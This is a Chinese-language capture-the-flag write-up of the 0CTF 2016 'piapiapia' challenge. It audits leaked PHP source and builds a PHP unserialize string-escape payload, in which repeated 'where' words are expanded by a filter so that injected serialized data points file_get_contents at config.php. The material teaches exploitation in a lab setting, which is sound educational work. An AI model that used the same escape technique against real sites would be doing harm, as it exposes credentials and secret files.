[0ctf2016]piapiapia(PHP unserialize字符逃逸)

前言

由于自己还没接触过太多这类的题目,所以还是总结网上的WP进行复现,会尽可能写的清晰,那么话不多说,开始淦

首先使用了dirsearch扫了一下目录(网站源码泄漏www.zip)

dirsearch -u "http://62bfe127-e775-4795-bf16-8cc039c1e9ab.node3.buuoj.cn" -e * -s 1 -t 10

需要指定线程和延迟,不然只能扫出429
下载网站源码后开始审计
首先看看config.php,里面有个flag变量

$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';

然后看看profile.php

$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

发现一个敏感函数
file_get_contents()(将一个文件读取到一个字符串中)
还对$profile变量进行了反序列化
这里我们就有了一个思路,可不可以使用file_get_contents函数读取config.php呢?答案是可以的,这时候我们再找找$profile变量是什么传递过来的

$profile=$user->show_profile($username);

继续跟踪show_profile方法,因为profile.php包含了class.php,所以我们去class.php寻找

public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;
}

发现它对username变量进行了一些处理,调用了父类filter方法

public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}

username变量进行处理之后,再调用父类的select方法

public function select($table, $where, $ret = '*') {$sql = "SELECT $ret FROM $table WHERE $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}

到这里线索似乎就断了,别急,那先看看其他的php
这里看到update.php里面有个serialize(序列化操作)

$user->update_profile($username, serialize($profile));

调用了class.php中user子类的update_profile方法,这时我们回到class.php

public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);
}

还是经过父类filter方法的处理,继续跟进父类的update方法

public function update($table, $key, $value, $where) {$sql = "UPDATE $table SET $key = '$value' WHERE $where";return mysql_query($sql);
}

整个逻辑链

unserialize->show_profile方法->select方法
serialize->update_profile方法->update方法

首先数据经过序列化传入到数据库,然后取出的时候反序列化,那么势必需要传入参数,并且构造恶意参数吧,而update.php这个页面我们可以看到是一个数据传入的页面,那么我们就来看看是否存在漏洞。

if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');

可以看到前两个参数好像都没什么办法绕过,但第三个参数好像可以绕过
这里我们可以发现前面的正则时匹配所有字母和数字,也就是nickname是字母和数字的话,就是真,而strlen()函数可以使用数组绕过,这样一来nickname就完全被我们控制了。

$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));

传入的参数都会被序列化,那么这里我们就可以构造恶意参数
这里引入一个概念

$a = 'abc';
echo serialize(array($a));

序列化之后的结果

a:1:{i:0;s:3:"abc";}

$s = 'a:1:{i:0;s:3:"acd";}bc";}';
var_dump(unserialize($s));

反序列化之后的结果:

array(1) { [0]=> string(3) "acd" }

也就是说当;}闭合之后后面的字符bc";}就被抛弃了
ok,明白这个概念之后,开始构造payload

首先我们传入正常的数据进行序列化

<?php
$profile['phone'] = '18888888888';
$profile['email'] = 'admin@qq.com';
$profile['nickname'] = 'admin';
$profile['photo'] = 'upload/' . md5('1.txt');
echo serialize($profile);

序列化结果为:

a:4:{s:5:"phone";s:11:"18888888888";s:5:"email";s:12:"admin@qq.com";s:8:"nickname";s:5:"admin";s:5:"photo";s:39:"upload/dd7ec931179c4dcb6a8ffb8b8786d20b";}

由于需要利用file_get_contents函数读取config.php

<?php
$profile['phone'] = '18888888888';
$profile['email'] = 'admin@qq.com';
$profile['nickname'] = 'admin';
$profile['photo'] = 'config.php';
echo serialize($profile);

那么我们需要使序列化的结果为:

a:4:{s:5:"phone";s:11:"18888888888";s:5:"email";s:12:"admin@qq.com";s:8:"nickname";s:5:"admin";s:5:"photo";s:10:"config.php";}

而我们可以控制的部分是:

admin

所以我们可以使nickname为:

";}s:5:"photo";s:10:"config.php";}

为什么这里多了个括号呢?

class test{public $a = array('a','b');
}
class test2 {public $b = '123';
}$test = new test();
$test2 = new test2();
echo serialize($test);
echo '<br>';
echo serialize($test2);

序列化结果:

O:4:"test":1:{s:1:"a";a:2:{i:0;s:1:"a";i:1;s:1:"b";}}
O:5:"test2":1:{s:1:"b";s:3:"123";}

可以看到数组序列化是多一个括号的
ok,这样一构造的话,我们发现

<?php
$profile['phone'] = '18888888888';
$profile['email'] = 'admin@qq.com';
$profile['nickname'] = '"};s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'config.php';
echo serialize($profile);

序列化结果:

a:4:{s:5:"phone";s:11:"18888888888";s:5:"email";s:12:"admin@qq.com";s:8:"nickname";s:34:""};s:5:"photo";s:10:"config.php";}";s:5:"photo";s:10:"config.php";}

这里我构造的序列化的payload是无法被反序列化的,因为还差34个字符
这时候想起来父类的filter方法对用户传入的参数进行了过滤,现在去看看

public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);
}

这里我们发现select,insert,update,delete都是六个字符,唯独where是五个字符,而把where替换成hacker,则多出来一个字符正好可以填充,那么使用34个where不就可以解决这个问题了吗
所以最终payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

[0ctf2016]piapiapia相关推荐

  1. [0CTF 2016]piapiapia php反序列化字符串逃逸

    一.php反序列化字符串逃逸 <?phpclass user{public $user = 'admin';public $pass = 'passwd'; }$a = new user(); ...

  2. [0CTF 2016]piapiapia WP(详细)

    [0CTF 2016]piapiapia WP(详细) 1.打开网站,是个登录框,尝试注入无果.....按道理来说就是注入了啊喂 2.玄学时间到::: 目录扫完啥结果没有.在buuctf做题总是这样, ...

  3. [0CTF 2016] piapiapia

    piapiapia 猜测:SQL注入.弱口令,顺便扫一下目录 SQL注入失败,弱口令和目录扫描没有测试(过快扫描网站,返回429),服务器还是挺好的,从网上得知/www.zip 测试过后,发现 ind ...

  4. BUCTF[0CTF 2016]piapiapia

    [0CTF 2016]piapiapia 打开环境是个登录框,尝试了一下sql注入,发现并无任何用处. 于是扫描目录,发现了个/www.zip. 开始代码审计: 在config.php中看到了flag ...

  5. BUU [0CTF 2016]piapiapia

    BUU [0CTF 2016]piapiapia 进去之后是个登录界面,抓包有一个cookie.感觉是十六进制,但是其实不是这样做,是应该扫描的. buu什么都扫不出来,直接看源码. /registe ...

  6. BUUCTF-WEB 【0CTF 2016】piapiapia 1

    考点:php反序列化字符长度逃逸 打开题目 一般看到登录框,就以为是sql注入题,这道题不是. dirsearch扫网站目录 python3 dirsearch.py -u "http:// ...

  7. [0CTF 2016]piapiapia -php序列化溢出

    题目分析 上来是一个登录页面:尝试注入无效: 然后扫后台:扫到源码www.zip 发现有注册页,注册登陆后可以填写自己的信息以及上传头像,走过一遍流程之后发现无法SSI也无法上传图片马: 源码分析 u ...

  8. piapiapia(代码审计、反序列化逃逸、函数绕过)

    目录 wp 文件内容 尝试 主要部分 反序列化逃逸 流程 总结 wp 进入题目,一个登录框,F12和源代码没有看到提示,robots.txt也没有东西.于是试一试访问www.zip,没想到有源码,省了 ...

  9. [0CTF 2016]piapiapia总结(PHP序列化长度变化导致尾部字符逃逸)

    这道题感觉很难,要是比赛中出这种题我肯定做不来,所以我耐着性子慢慢分析这道题,最后居然自己做了个七七八八,只剩下一点点就完全做出来了. 下面把我做这道题时的思路一步一步记录下来,希望能够彻底巩固. 一 ...

  10. [0CTF 2016]piapiapia(字符逃逸详解)

    目录 知识点 信息收集 尝试SQL注入 源码目录扫描 代码审计 payload生成 知识点 信息泄露 参数传递数组绕过字符串检测 反序列化字符逃逸 信息收集 收集到了一只超可爱的小喵 尝试SQL注入 ...

最新文章

  1. linux lvm 大小与硬盘大小关系,linux lvm扩容磁盘大小
  2. Win7+Ubuntu11
  3. 资源推荐 | TensorFlow电子书《FIRST CONTACT WITH TENSORFLOW》
  4. oracle in与exists的使用
  5. Java中native关键字
  6. Mybatis之typeAlias配置的3种方法
  7. android 初始化语言,25.Android init language (安卓初始化语言)
  8. 电商促销海报设计技巧!
  9. Navicat连接虚拟机Linux的数据库时,出现错误代码“10038”
  10. 做web前端的小伙伴注意了,未来这些发展方向可以试试!
  11. python中什么是数据驱动_携程大牛谈自动化测试里的数据驱动和关键字驱动思路的理解...
  12. DSP_Builder设计方法说明_SinWave
  13. 【ZT】可行性研究报告编写规范
  14. 贝尔英才学院计算机,特稿 | 从高三的二模倒数第一到考取南京邮电大学贝尔英才学院,他仅用了半年!...
  15. 【SQL精彩语句】按某一字段分组取最大(小)值所在行的数据
  16. 微型计算机原理与接口技术AD实验报告,微机原理与接口技术AD转换综合实验报告.doc...
  17. imagej得到灰度图数据_Java图像处理最快技术:ImageJ 学习第一篇
  18. 松下伺服电机uvw接线图_伺服电机接线图图解
  19. java获取当前时间星期几_Java8 获取当前日期时间及星期几
  20. 优化网站加快浏览器访问打开速度

热门文章

  1. Joplin使用坚果云WebDAV同步存在的问题以及解决办法
  2. Linux部署启动服务脚本
  3. 结合Zemax浅谈几何光学和信息光学中的成像,孔径光阑,视场光阑
  4. vivado程序固化到flash
  5. ubuntu 下使用tar将文件夹(大文件)分包压缩
  6. 视频技术系列 - 谈谈毫米波
  7. 【95】太空射击游戏——玩家代码
  8. 安装oracle所有依赖包,安装oracle11g R2 缺少依赖包
  9. html的视频字幕制作步骤,十大字幕制作软件
  10. 句子迷 2015_01_10